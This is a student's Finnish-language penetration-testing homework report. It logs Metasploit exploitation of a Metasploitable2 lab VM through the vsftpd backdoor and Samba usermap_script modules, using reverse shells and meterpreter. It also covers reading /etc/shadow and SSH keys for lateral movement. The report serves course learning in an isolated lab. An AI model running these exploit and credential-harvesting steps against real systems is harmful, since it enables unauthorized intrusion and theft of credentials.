← Back to Penetration testing
H3 EternalHomework
Tekijä: Aapo Tavio
Pohjana Tero Karvinen 2026: Tunkeutumistestaus 2026 kevät, Tunkeutumistestaus
h3 EternalHomework
Käytettävän ympäristön ominaisuudet
-
Host
-
Host PC: HP Laptop 15s-eq3xxx
-
OS: Ubuntu 24.04.4 LTS
-
Processor: AMD Ryzen™ 7 5825U with Radeon™ Graphics × 16
-
Memory: 16.0 GiB
-
NIC: Realtek Semiconductor Co., 802.11 ax Wireless
-
Architecture: x86_64
-
Firmware version: F.20
-
Kernel Version: Linux 6.17.0-20-generic
-
-
Virtual Machine
-
OS: Kali GNU/Linux Rolling
-
Release: 2026.1
-
Kernel Version: Linux 6.18.12+kali-amd64
-
Architecture: x86-64
-
Hardware Vendor: QEMU
-
Hardware Model: Ubuntu 24.04 PC Q35 + ICH9, 2009
-
Hardware Version: pc-q35-noble
-
Firmware Version: 1.16.3-debian-1.16.3-2
-
Firmware Date: Tue 2014-04-01
-
-
Metasploitable2
-
OS: Ubuntu 8.04
-
Hypervisor: KVM/QEMU
-
CPUs: 2
-
Memory: 2048MiB
-
Storage: 8 GiB
-
x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
- € Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta Conducting a penetration test with Metasploit luvun loppuun eli “Summary” loppuun)
- Mitä ‘nmap -sn’ tekee? Älä arvaa, vaan perustele lähteillä. Mistä tiedät, että käyttämäsi lähde on luotettava?
-
Metasploitin hyödyt penetraatiotestauksessa ovat
-
Avoin lähdekoodi
-
Yleiset nimeämiskäytännöt helpottavat käyttöä
-
Hyötykuorman (Payload) valitseminen on helppoa
-
Hienovarainen kohdekoneen käyttö
- Estää kohteen kaatumista
-
Hyväksikäytön jälkeisten (Post exploitations) toimien toiminnallisuudet
-
-
Metasploit mahdollistaa tietokantojen käyttämisen nmap skannaustulosten varastoimiseen
-
Nmap:n käyttäminen metasploitin konsolin kautta vaatimuksena
- Komentona db_nmap
-
Workspace tiloilla voidaan vaihtaa tauluja joihin tiedot tallennetaan
- Mahdollistaa siistit ja spesifit tiedot kohteista
-
-
Komento exploit yhdessä valinnan -j kanssa suorittaa exploitin taustalla
-
Meterpreter yhteyden voi saada shellin jälkeen komennolla sessions –u [session id]
-
Meterpreter yhteyteen voi ladata lisäosia (plugins)
- Laajentaa hyökkäyskalustoa kohteessa
(Jaswal 2020. Luku 1 kohdasta “Conducting a penetration test with Metasploit” kohtaan “Summary”)
-
Komento nmap -sn
-
Lähettää
-
ICMP echo paketit
-
TCP SYN flagin porttiin 443
-
TCP ACK flagin porttiin 80
- Ilman sudoa lähettää SYN flagin
-
ICMP timestamp paketin
-
Sudo oikeuksin LAN-ympäristössä ARP-kyselyjä (–send-ip valinta estää)
-
-
Ei suorita porttiskannausta
-
(Nmap:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man nmap)
Käyttämäni lähteen pitäisi mielestäni olla todella luotettava, koska se on työkalun mukana tullut ohje.
b) Tallenna porttiskannauksen tuloksia Metasploitin tietokantoihin. Skannaa niin, että Metasploitable tulee mukaan. Kannattaa ottaa mukaan ainakin versioskannaus -sV (joka on banner grabbing plus).
10.11.2026 9:57
Aloitin komennolla
$ sudo msfdb init #Alustaa tietokannan metasploitille
(Rapid7. Metasploit dokumentaatio. URL: Database Support | Metasploit Documentation)
Seuraavaksi komento
$ sudo msfconsole #Yhdistää metasploitin konsoliin
Tein seuraavaksi uuden workspace tilan.

Kuva 1. Uusi workspace oli nimeltään h3
Kuvassa komennot
msf > workspace -a h3 #Lisää workspacen nimeltä h3
msf > workspace #Listaa kaikki workspacet
msf > workspace h3 #Vaihtaa workspacen h3:n
Skannasin portteja metasploitablesta tietokantaan komennolla
msf > db_nmap -sV -A -T4 -p- 192.168.100.251 #-sV yrittää selvittää avointen porttien palveluiden versiot, -T4 nopeuttaa skannausta, -A yrittää tunnistaa käyttöjärjestelmän ja sen version, laittaa skriptien skannauksen päälle sekä kertoo kaikki pakettien hyppypisteet (ts. traceroute), -p- skannaa kaikki portit (portit 1-65535)
(Nmap virallinen manuaali Kali Linuxin terminaalissa. Komento: man nmap)
c) Tarkastele Metasploitin tietokantoihin tallennettuja tietoja komennoilla “hosts” ja “services”. Kokeile suodattaa näitä listoja tai hakea niistä.
10.4.2026 12:28
Aloitin komennolla
msf > services #Hakee tietokannasta tiedot tallennetuista palveluista
Tietokannasta löytyi paljon palveluja, koska metasploitablessa oli paljon avoinna olevia portteja.

Kuva 2. Metasploitablessa auki olevia portteja
Valinnalla -S voidaan etsiä merkkijonoja tietokannoista.
(Metasploitin virallinen manuaali msf-consolessa. Komento: services -h)

Kuva 3. Tietokannasta suodattaminen rivit joissa merkkijono “Apache”
Hain hostit tietokannasta.

Kuva 4. Kaikki skannatut hostit listattuna
Samalla -S valinnalla voi hosteja suodattaa merkkijonon perusteella. Hakuja voi suodattaa myös kolumnien mukaan valinnalla -c.
(Metasploitin virallinen manuaali msf-consolessa. Komennot: “services -h” ja “hosts -h”)

Kuva 5. Hostit suodatettuna kolumnin mukaan
d) Internet famous. Etsi Metasploitablen mukana tulevista hyökkäyksistä (en: exploits; search) sellainen, joka on ollut julkisuudessa.
Yritin etsiä metasploitin haulla sekä netistä tietoa hyökkäyksistä esim. “Wanna cry” ja “ILOVEYOU”. Wanna cry osoittautuikin osittain hyödyntävän Eternalblue haavoittuvuutta.
(Cloudflare. URL: What was the WannaCry ransomware attack?)
En löytänyt kummastakaan cve:ä, joilla olisin voinut hakea lisää tietoa metasploitin haulla. Yritin etsiä myös “VPNFilter” haittaohjelmasta cve:ä ja hain sitä metasploitista tuloksetta.
(Tietoa VPNFilter haittaohjelmasta: Sundell 2018. Mtvuutiset. URL: VPNFilter haittaohjelma mtvuutiset)
Eternalblue haavoittuvuus on kuitenkin todella huomionarvoinen ja se löytyi metasploitista.

Kuva 6. Eternalblue exploit haettuna metasploitista
e) Vertaile nmap:n omaa tiedostoon tallennusta (-oA foo) ja db_nmap:n tallennusta tietokantoihin. Mitkä ovat eri tiedostomuotojen ja Metasploitin tietokannan hyvät puolet?
10.4.2026 14:00
Aloitin skannaamalla metasploitablen terminaalista käsin ja tallentamalla tiedot tiedostoihin komennolla
$ sudo nmap -A -T4 -p- -oA nmap-ms2 192.168.100.251 #Valinta -oA tallentaa tiedot kolmeen pää tiedostomuotoon prefixillä nmap-ms2
(Nmap:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man nmap)
Kävin katsomassa, että ne varmasti löytyi kotihakemistostani.

Kuva 7. Kotihakemisto listattuna
Tiedoston nmap-ms2.gnmap teksti oli todella tiiviisti pakattu.

Kuva 8. Tiedosto nmap-ms2.gnmap tulostettuna näytölle
Tiedosto nmap-ms2.nmap oli puolestaan muotoilultaan samanlainen kuin skannauksen jälkeen saatavat tiedot terminaalissa.

Kuva 9. Osa tiedostosta nmap-ms2.nmap tulostettuna näytölle
Tiedosto nmap-ms2.xml oli odotetusti xml-muodossa.

Kuva 10. Osa tiedostosta nmap-ms2.xml tulostettuna näytölle
Eri tiedostomuotojen hyödyt ja heikkoudet ovat luettavuus, käsittely ja yhteensopivuus. Tiedostomuotoa xml käytetään melko laajasti monessa paikassa, joten se on varmasti hyvä yhteensopivuuden kannalta vietäessä ja tuotaessa tiedostoja järjestelmistä toiseen.
Tiedostopäätteellä nmap olevaa tiedostoa on todella helppo lukea. Nmap:n omilta verkkosivuilta käy ilmi, että tiedostopäätteellä oleva gnmap on vanhentunutta formaattia useimmiten. Xml muodossa oleva tiedosto useimmiten on parempi vaihtoehto gnmap tiedostolle. Gnmap on kuitenkin omalla tavalla selkeä, koska se listaa kaikki hostit omalle rivillensä.
(Nmap. URL: Nmap Output)

Kuva 11. Tiedosto nmap-ms2.gnmap avattuna microlla
Metasploitin tietokantaan tallentamisen etuna on helppokäyttöisyys, koska kaikki tiedot voi tarkastaa poistumatta metasploitin konsolista. Tietoja on myös helppo pitää järjestyksessä vaihtelemalla workspace-tiloja.
f) Murtaudu Metasploitablen vsftpd-palveluun
11.4.2026 16:31
Kävin ensiksi varmistamassa portin metasploitin tietokannasta. Komentona
msf > services -S ftp #Etsii ftp merkkijonoa tietokannasta

Kuva 12. Tietokannassa olevat rivit merkkijonolla ftp
Kuten hausta ilmeni, vsftpd:n portti oli 21. Hain metasploitin tietokannasta exploitteja “vsftpd” merkkijonolla.

Kuva 13. Merkkijonolla vsftpd haetut tulokset moduulitietokannasta
Löytyi kaksi moduulia, joista toinen oli auxiliary ja toinen oli exploit. Valitsin exploitin komennolla
msf > use 1 #Valitsee moduulin numero 1 uusimmasta listauksesta
Metasploit ilmoitti payload:n olevan “meterpreter_reverse_tcp”, joka on meterpreter yhteys kohdekoneelta hyökkääjän koneelle. Tämä voi helpottaa huomattavasti onnistumista, koska useimmiten palomuurit sallivat ulospäin avaavat yhteydet, mutta estävät ulkoa sisällepäin avaavat. “Bind shell” avaisi yhteyden ulkoa sisälle.

Kuva 14. Oletus payload valitessa vsftpd exploitin
Katsoin tarvittavat säädöt hyökkäykseen komennolla
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options #Näyttää exploitin valinnat

Kuva 15. Valinnat exploitille
Kuten kuvasta käy ilmi, pakollisia arvoja muuttujille puuttuu kohdista “RHOSTS” ja “LHOST”. Muissa pakollisissa kohdissa (Required-kolumnissa “yes”) oli valmiina arvot, joita ei mielestäni tarvinnut lähteä muuttamaan.
Asetin “RHOSTS” kohtaan metasploitablen ip-osoitteen komennolla
msf exploit(unix/ftp/vsftpd_234_backdoor) > setg RHOSTS 192.168.100.251 #Komento setg asettaa arvon muuttujaan RHOSTS globaalisti
(Komennon lähteenä metasploitin virallinen manuaali msf-consolessa exploitin ollessa valittuna. Komento: help)
Sama homma muuttujalle “LHOST”, mutta Kalin ip-osoite muuttujan arvoksi.
setg LHOST 192.168.100.250
Sitten ei muuta kuin ajamaan exploit komennolla
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit -j #Valinta -j suorittaa taustalla exploitin
(Valinnan lähteenä: Jaswal 2020. Luku 1)
En saanut sessioita auki kuitenkaan.

Kuva 16. Yhteyksiä ei ollut käytettävissä
Kokeilin tämän jälkeen ajaa exploitin ilman valintaa “-j”. Ajoin kaksi kertaa, koska ekalla tuli ilmoitus, että yhteyttä ei luotu.

Kuva 17. Epäonnistuneet exploit yritykset ilman valintaa -j
Kävin tarkastamassa valinnat.

Kuva 18. RHOSTS muuttuja

Kuva 19. LHOST muuttuja
Molemmat olivat oikein, joten ajattelin nyt metasploitablen olevan tilassa, joka olisi oikeassa penetraatiotestauksessa ikävä tilanne. Portti oli nimittäin ilmeisesti varattu jo yhteydelle, mutta en saa siihen silti uuttakaan yhteyttä. Tilanteessani voin kuitenkin käynnistää metasploitablen uudelleen, jotta portti vapautuisi uudestaan. Käynnistin siis metasploitablen uudestaan.
Edelleen tuli samanlainen ilmoitus, että exploit oli suoritettu, mutta sessioneita ei ollut luotu.

Kuva 20. Uusi yritys murtautua metasploitablen käynnistyksen jälkeen
Aloin miettimään kahta vaihtoehtoa ongelmaan. Minulla oli palomuurissa Kalilla vain reikä portissa 22. Pidin tätä todennäköisimpänä ongelmana. Toinen olisi, että portti 4444 olisi jo käytössä, jolloin siihen ei saisi yhteyttä. Lähdin tekemään reiän Kalin palomuurin porttiin 4444.
Sitten uusi yritys, mutta edelleenkään ei toiminut.

Kuva 21. Samanlainen vastaus exploitiin kuin aiemmin
Olin hämmästynyt, koska sain kuitenkin tehtyä exploitin koulussa tunnilla, tosin ilman palomuuria Kalissa. Lähdin katsomaan, että oliko Kalissa portti 4444 varattu jo.

Kuva 22. Kuuntelevat portit listattuna ss-työkalulla
Ei ollut porttikaan käytössä. Käynnistin uudestaan Kalin sekä metasploitablen. Laittaessani ip-osoitetta muuttujiin uudestaan huomasin toisen portin, joka todennäköisesti pitäisi olla avoinna. Portti 8080 ilmeisesti käsittelee hyötykuormaa (payload).

Kuva 23. Muuttuja näkyi exploitin valinnoissa
11.4.2026 18:11
Avasin portin 8080 Kalista ja sitten uudestaan yrittämään exploittia. Tällä kertaa onnistui, joten ongelmana oli selkeästi palomuurin säännöt.

Kuva 24. Lopulta sain meterpreter yhteyden metasploitableen
Pidin pienen tauon, joten laitoin meterpreter yhteyden taustalle komennolla
meterpreter > background
g) Kerää levittäytymisessä (lateral movement) tarvittavaa tietoa metasploitablesta. Analysoi tiedot. Selitä, miten niitä voisi hyödyntää.
11.4.2026 18:54
Lähdin ensimmäiseksi katsomaan tiedostoa /etc/shadow, koska siellä olisi käyttäjien tietoja ja mahdollisesti salasanoja. Minulla on jo metasploitablessa pääkäyttäjän oikeudet, mutta root:n tiedot ovat aina halutuimpia tietoja. Shadow tiedostossa olikin root-käyttäjän salasanan tiiviste, jonka tiivistealgoritmi oli MD5. Tiivisteen alussa dollarien välissä oleva numero kertoo käytetyn tiivistealgoritmin.
(Garn 2021. URL: An introduction to hashing and checksums in Linux)

Kuva 25. Root-käyttäjän tiedot tiedostossa shadow
Salasanaa voisi brute-force menetelmää käyttäen saada erilaisilla ohjelmilla selkokieliseksi. Käyttäjä “msfadmin” olisi myös kiinnostava, koska kaikki “admin” sanan sisältävät ovat lupaavia käyttäjiä, koska useimmiten niillä on joitain korotettuja oikeuksia. Oikeastaan kaikki käyttäjät, joilla on tiiviste salasanan kohdalla ovat potentiaalisia kohteita, koska niitä voi yrittää brutettaa ja toki mahdollisuuksien mukaan päästä urkkimaan MitM (Man in the Middle) tekniikkaa hyödyntäen.
Monella käyttäjällä oli salasanan sarakkeessa merkki “*” tai “!”. Nämä voi olla todella hyviä kohteita, koska huutomerkillä varustettuun käyttäjään on salasanalla kirjautuminen lukittu, mutta vaihtaessa käyttäjää sinne on mahdollista päästä. Asteriskilla merkitty puolestaan kertoo, että salasanalla kirjautuminen ei ole ollenkaan mahdollista kohteeseen, mutta jälleen järjestelmässä sisällä ollessa sinne voi pystyä vaihtamaan.
(Yekeen 2025. URL: The Meaning of the Symbols !, !! and * in /etc/shadow | Baeldung on Linux)

Kuva 26. Osa tiedostosta /etc/shadow
11.4.2026 19:41
Kotihakemistot ovat myös hyvä paikka etsiä lisätietoa käyttäjistä ja ympäristöstä. Sieltä voi löytää esimerkiksi käyttäjien ssh-avaimia, joilla voi päästä kirjautumaan sisään. Esimerkiksi “user” käyttäjän kotihakemistossa oli ssh-avaimia.

Kuva 27. Käyttäjän user julkinen ja yksityinen ssh-avaimet
Ssh-yhteydessä olisi hyökkääjän kannalta hyvä asia, että tiedonsiirto salataan hyökkääjän ja kohteen välillä. Näin ollen voisi läpäistä monta puolustuskerrosta, koska on vaikeampi nähdä ja analysoida liikenteen sisältöä, joka herättäisi selkokielisenä huomiota puolustuksessa.
h) Murtaudu Metasploitableen jollain toisella tavalla. (Jos tämä kohta on vaikea, voit tarvittaessa turvautua verkosta löytyviin läpikävelyohjeisiin. Merkitse silloin raporttiin, missä määrin tarvitsit niitä).
11.4.2026 20:24
Kokemuksesta tiesin jo telnetin kautta pääsevän sisälle metasploitableen, joten halusin kokeilla jotain muuta. Löysinkin sivuston, jossa kerrottiin samban version 3.0.20 olevan haavoittuvainen ja haavoittuvuuteen löytyisi exploit moduuli suoraan metasploitista.
(Rapid7. URL: Rapid7 Vulnerability Database)
Löysin moduulin metasploitista.

Kuva 28. Exploit löytyi hakusanalla usermap_script
Ottaessani käyttöön moduulin sain ilmoituksen, että payload on “reverse_netcat”.
Muuttujien arvot olivat valmiina, koska olin aikaisemmin ip-osoitteet määrittänyt globaalisti.

Kuva 29. Paikallinen portti oli 4444 ja kohdeportti 139
Sitten vain päälle komennolla “exploit”. Sain ilmeisesti hieman huonomman puoleisen shellin käyttöön.

Kuva 30. Shellissä ei ollut promptia ollenkaan
Shell oli hieman sekava, mutta sisällä olin kuitenkin. Laitoin yhteyden taustalle. Yritin muuttaa shellin meterpreteriksi komennolla
msf exploit(multi/samba/usermap_script) > sessions -u 2 #Valinta -u määrittää session id:n mukaan sessionin, joka halutaan muuttaa meterpreteriin
(Valinnan lähteenä Metasploitin virallinen ohje komennolla: sessions -h)
En saanut yhteyttä meterpreteriksi.

Kuva 31. Sessioneita oli vain yksi
Päättelin vastauksesta, että minun pitäisi avata Kalista portti 4433, koska ilmeisesti “handler” yritti ottaa yhteyden sieltä. Avasin portin Kalista ja yritin uudelleen mutta sain hieman hämmentävän vastauksen, koska siinä avattiin useampaa sessionia.

Kuva 32. Kaksi meterpreter yhteyttä luotiin

Kuva 33. Varmistin yhteydet listaamalla ne
En tiedä miksi kaksi yhteyttä luotiin, mutta ei kai sillä niin väliä ollut. Yhdistin sessioon numero 3 ja sain hyvän meterpreter yhteyden.

Kuva 34. Käyttäjä id ja kotihakemistot listattuna metasploitablesta
i) Demonstroi Meterpretrin ominaisuuksia.
11.4.2026 21:17
Päätin lähteä ensimmäiseksi näyttämään, miten voin liittyä toiseen kohdekoneen prosessiin käyttämällä “migrate” komentoa.
Ensiksi listasin prosessi id:n, joka oli tämänhetkinen prosessi, jossa ajoin meterpreter yhteyttäni.

Kuva 35. Prosessi id oli 4783
Seuraavaksi katsoin komennolla “ps” kaikki prosessit, jotka pyörivät metasploitablessa. Ensinnäkin tämänhetkinen prosessini oli jokin melko epämääräinen mielestäni.

Kuva 36. Prosessin nimi oli wllji
Yritin ensimmäiseksi prosessiin numero 1 yhdistyä komennolla
meterpreter > migrate 1
Prosessi 1 oli init.

Kuva 37. Prosessi oli root-käyttäjän
Sain kuitenkin virheilmoituksen.

Kuva 38. Virheilmoitus yhdistettäessä prosessiin 1
Sain käsityksen vastauksesta, että en voi yhdistää prosessia toiseen arkkitehtuuriin. Koska nykyisen prosessini arkkitehtuuri oli “i686”, minun pitää toiseen saman arkkitehtuurin prosessiin yhdistyä. Prosessi numero 2 oli samaa arkkitehtuuria, joten yritin siihen.

Kuva 39. Prosessi 2 oli root-käyttäjän
Sain kuitenkin samanlaisen virheilmoituksen.

Kuva 40. Samanlainen virheilmoitus tuen puutteesta
Tällä kertaa tajusin, että ilmeisesti minun meterpreter yhteyteni ei tukenut “migrate” komentoa.
Tietokoneen kameroita pystyy hyödyntämään hyökkäyksissä. Niistä voi esim. ottaa näyttökuvia. Kamerat pystyy myös listaamaan.

Kuva 41. Kameroita ei löytynyt metasploitablesta (yllätys!)
j) Tallenna shell-sessio tekstitiedostoon script-työkalulla (script -fa log001.txt) tai tmux:lla.
12.4.2026 08:44
Tallensin shell-sessionin Kalilla komennolla
$ script -fa h3-typescript #script tallentaa shell-sessionin tiedostoon, valinta -f laittaa output:n reaaliaikaisesti tiedostoon, valinta -a jatkaa tekstiä tiedostoon (append), luotava tiedosto on nimeltään h3-typescript
(Script:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man script)
Ajoin muutamia ls-komentoja ja avasin osan tiedostosta /usr/share/wordlists/rockyou.txt, jolloin sain paljon tavaraa typescript tiedostoon.
Lopetin tiedostoon shell-sessionin tallentamisen komennolla
$ exit
k) Pivot point. Laita kaikki harjoituksen tiedostot (script -fa, nmap -oA…) samaan kansioon. Hae sopiva pivot point (sovellus, versio, osoite, MAC-numero) ‘grep -r’ -komennolla. Keksi uskottava esimerkkikysymys, johon haet vastausta.
12.4.2026 9:05
Ajoin komennot:
$ mkdir Pentesting-h3 #Luo hakemiston nimeltä Pentesting-h3 nykyiseen hakemistopolkuun
$ mv h3-typescript nmap-ms2.gnmap nmap-ms2.nmap nmap-ms2.xml Pentesting-h3 #Siirtää tiedostot hakemistoon Pentesting-h3
$ cd Pentesting-h3 #Vaihtaa käsiteltävän hakemiston uuteen hakemistoon
Metasploitablen MAC-osoite päättyi tavuihin 12:16 ja halusin tietää koko MAC-osoitteen. Lähdin hakemaan grepillä näitä rivejä. Valinta -r etsii rekursiivisesti hakemistopuun tiedostoista lainausmerkeissä määriteltyä merkkijonoa. Hakeminen onnistuisi ilman lainausmerkkejäkin, mutta minusta ne selkeyttää rakennetta hieman.

Kuva 42. Kolme riviä löytyi grepillä
Halusin hieman lisätietoa ympäröivistä riveistä, jotta pystyy hahmottamaan kokonaiskuvaa paremmin. Valinnalla -C [numero] saa sekä ennen että jälkeen osuman tulostettua halutun määrän rivejä.
(Akshay 2025. URL: grep command in Unix/Linux - GeeksforGeeks)
Lisäksi valinta -n tulostaa rivinumeron tiedostossa.

Kuva 43. Kaksi lisäriviä ennen ja jälkeen osuman
Oletetaan skenaario, että olen kuullut jonkun tiedoston sisältävän tietoja apachen haavoittuvasta versiosta. Kokeilin ensimmäiseksi pelkästään komennolla
$ grep -rn "apache" #Hakee rekursiivisesti merkkijonoa apache ja merkkaa rivinumerot mukaan
Sain todella monta osumaa, joten tulostus ei näyttänyt kaikkea. Löysin kuitenkin tehtävän vinkeistä neuvoa. Olennaista oli putkittaa haku less:n ja käyttää valintaa -R.
(Karvinen. URL: Tunkeutumistestaus)
Valinta -R liittyy jotenkin ANSI väreihin ja escape merkkeihin.
(Less:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man less)
Ymmärsin manuaalista, että escape merkit luetaan raakana, jolloin teksti näyttää “normaalimmalta”. Seuraavaksi siis komentona
$ grep -rni -C 3 --color=always "apache" | less -R #Valinta -i ottaa isot sekä pienet kirjaimet huomioon, valinta --color=always laittaa värit tulostukseen mukaan
Monesta rivistä kävi ilmi, että web-palvelimen apachen versio oli 2.2.8.

Kuva 44. Apachen tietoja tiedostossa nmap-ms2.nmap

Kuva 45. Apachen tietoja tiedostossa nmap-ms2.xml
Lisäksi porteissa 8009 ja 8180 oli Apache Jserv ja Tomcat demonit.

Kuva 46. Apachen tietoja porteissa 8009 ja 8180
l) Attaaack! Mitä Mitre Attack taktiikoita ja tekniikoita käytit tässä harjoituksessa? (Tässä alakohdassa “Attaack!” ei tarvitse tehdä lisää testejä koneella, koska testit on jo tehty.)
Taktiikoista käytin tiedustelua (reconnaissance) skannatessani kohdetta nmapilla. Resurssien hyödyntäminen (resource development) ja tunnistetietojen käyttöoikeus (credential access) tapahtui puolestaan esim. tutkiessani shadow tiedostoa, jossa oli käyttäjiä ja heidän salasanoista tietoa. Ensipääsy (initial access) taktiikkaa käytin ulkoisen etäpalvelun (external remote services) tekniikalla ottaessani reverse shellin kohdekoneeseen. Lisäksi tekniikkana ensipääsyssä oli julkisen sovelluksen hyväksikäyttö (exploit public-facing application), kun toteutin metasploitilla ftp ja samba demoneihin hyökkäyksen.
Toteutus (execution) taktiikka toteutui mielestäni payloadin ajaessa kohdekoneella. Ajoin myös shellin ja meterpreterin kautta komentoja, jotka ovat myös taktiikkaan sidottuja tekniikoita. Olemassaolo (persistence) puolestaan toteutui laittaessani reverse shellin pystyyn ja yritin vielä lisätä olemassaoloa yhdistymällä muihin prosesseihin kohdekoneella. Prosessin yhdistäminen vähemmän huomiota herättävään prosessiin kuuluisi ehkä enemmänkin puolustusväistö (defense evasion) taktiikkaan, mutta se myöskin lisää yleensä olemassaoloakin.
Todella laajasti tuli tekniikoita ja taktiikoita hyödynnettyä. Kerääminen (collection) sekä komento ja hallinta (command and control) tuli toteutettua myös, mutta todella moni tekniikka kuuluu moneen taktiikkaan. Huomasin selaillessani Mitren sivuja, että monessa taktiikassa oli samoja tekniikoita lueteltuna. Taktiikoita ja tekniikoita voi lukea Mitren sivuilta Tactics - Enterprise | MITRE ATT&CK.
m) Vapaaehtoinen: Etsi esimerkki Mitre Attack proseduurista (procedure), jossa joku uhkatoimija on käyttänyt samoja tekniikoita.
En tehnyt kyseistä tehtävää, koska aikaa oli kulunut enemmän kuin tarpeeksi jo aikaisempiin tehtäviin.
n) Vapaaehtoinen: Titityy. Saatko Metasploitableen tty-shellin, eli esimerkiksi avattua koko ruudulle piirtävän nano:n?
En tehnyt kyseistä tehtävää, koska aikaa oli kulunut enemmän kuin tarpeeksi jo aikaisempiin tehtäviin.
o) Vapaaehtoinen, vaikea: Kokeile jotain kilpailevaa hyökkäystyökalua tai vihamielistä etäkäyttötyökalua, kuten Sliver tai Scarecrow.
En tehnyt kyseistä tehtävää, koska aikaa oli kulunut enemmän kuin tarpeeksi jo aikaisempiin tehtäviin.
p) Vapaaehtoinen: Asenna ja korkkaa Metasploitable 3. Karvinen 2018: Install Metasploitable 3 – Vulnerable Target Computer
En tehnyt kyseistä tehtävää, koska aikaa oli kulunut enemmän kuin tarpeeksi jo aikaisempiin tehtäviin.
q) Vapaaehtoinen: Peekaboo. Demonstroi, kuinka hyökkääjä vakoilee meterpreterillä. Kuuntele mikrofonilla, ota kuvia tai videota kameralla. (Huolehdi, ettei ulkopuolisia joudu kuunnelluksi tai katselluksi.)
En tehnyt kyseistä tehtävää, koska aikaa oli kulunut enemmän kuin tarpeeksi jo aikaisempiin tehtäviin.
Lähteet
Akshay Rajput 1. grep command in Unix/Linux. GeeksforGeeks. Luettavissa: grep command in Unix/Linux - GeeksforGeeks. Luettu: 12.4.2026.
Cloudflare. What was the WannaCry ransomware attack?. Luettavissa: What was the WannaCry ransomware attack?. Luettu: 10.4.2026.
Garn, D. 18.1.2021. An introduction to hashing and checksums in Linux. Red Hat Blog. Luettavissa: An introduction to hashing and checksums in Linux. Luettu: 11.4.2026.
Jaswal, N. 2020. Matering Metasploit. 4. painos. Packt Publishing Ltd.. Birmingham. E-kirja. Luettu: 8.4.2026.
Karvinen, T. Tunkeutumistestaus. Luettavissa: Tunkeutumistestaus. Luettu: 12.4.2026.
Less:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man less. Luettu: 12.4.2026.
Metasploitin virallinen manuaali msf-consolessa. Luettu: 11.4.2026.
Mitre. Enterprise tactics. Luettavissa: Tactics - Enterprise | MITRE ATT&CK. Luettu: 12.4.2026.
Nmap:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man nmap. Luettu: 10.4.2026.
Nmap. Output. Luettavissa: Nmap Output. Luettu: 10.4.2026.
Rapid7. Metasploit dokumentaatio. What is msfdb?. Luettavissa: Database Support | Metasploit Documentation. Luettu: 10.4.2026.
Rapid7. Samba “username map script” Command Execution. Luettavissa: Rapid7 Vulnerability Database. Luettu: 11.4.2026.
Script:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man script. Luettu: 12.4.2026.
Sundell, P. 7.6.2018. Mtvuutiset. Reitittimiin kohdistuva haittaohjelma onkin pahempi kuin luultiin: Jopa pankkitilin voi tyhjentää täysin huomaamatta. Luettavissa: VPNFilter haittaohjelma mtvuutiset. Luettu: 10.4.2026.
Yekeen, A. 20.6.2025. The Meaning of the Symbols !, !! and * in /etc/shadow. Luettavissa: The Meaning of the Symbols !, !! and * in /etc/shadow | Baeldung on Linux. Luettu: 11.4.2026.
Tätä dokumenttia saa kopioida ja muokata GNU General Public License (versio 3 tai uudempi) mukaisesti. http://www.gnu.org/licenses/gpl.html